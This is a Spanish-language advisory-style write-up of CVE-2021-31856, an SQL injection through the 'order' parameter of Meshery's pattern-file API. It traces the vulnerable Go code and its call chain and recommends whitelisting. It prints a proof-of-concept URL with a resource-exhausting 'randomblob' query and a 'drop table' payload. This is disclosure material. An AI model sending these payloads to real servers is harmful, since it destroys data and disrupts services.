
Informe detallado de CVE-2021-31856 con PoC y análisis de código para una vulnerabilidad de inyección SQL en la API de archivos de patrones de Meshery, que permite la extracción de datos sin autenticación.
| item | details | note |
|---|
| proyecto | https://github.com/layer5io/meshery | |
| fecha anunciada | 2021-04-28 | |
| ID de CVE | CVE-2021-31856 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31856 |
| ID de EDB | \ | |
| Versión Vulnerable | v0.5.2 | \ |
| Versión Parcheada | v0.5.3 | https://github.com/layer5io/meshery/pull/2745 |
| CVSS | 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | |
| Autor | https://github.com/ssst0n3 |
La función GetMesheryPatterns() en meshery/models/meshery_pattern_persister.go tiene una vulnerabilidad de inyección SQL a través del parámetro order /api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0.
http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0
El parámetro order en la función GetMesheryPatterns es una instancia de cadena. Será añadido directamente a la sentencia de consulta al usar gorm, y la sentencia de consulta SQL es ejecutada por Find().
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
Si el parámetro order proviene de la entrada del usuario sin ningún filtrado, existe una vulnerabilidad de inyección SQL.
Rastreando el proceso de llamada, podemos encontrar que el parámetro "order" proviene directamente de la consulta.
func (h *Handler) GetMesheryPatternsHandler(
rw http.ResponseWriter,
r *http.Request,
prefObj *models.Preference,
user *models.User,
provider models.Provider,
) {
q := r.URL.Query()
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
if err != nil {
http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
return
}
rw.Header().Set("Content-Type", "application/json")
fmt.Fprint(rw, string(resp))
}
Si depuramos, podemos encontrar que la sentencia de consulta es:
SELECT * FROM `meshery_patterns` ORDER BY <ORDER>
si dejamos order=id;drop table meshery_patterns, la sentencia se convertirá en
SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns
y la tabla será eliminada.
La cadena de llamada completa es:
gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
Methods("POST", "GET")
func (h *Handler) PatternFileRequestHandler(
...
h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}
func (h *Handler) GetMesheryPatternsHandler(
...
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..
func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
Establecer una lista blanca para el parámetro order en lugar de usar parámetros de la entrada del usuario sin ningún filtrado.
Puede obtener algunas referencias del documento de gorm: https://gorm.io/docs/security.html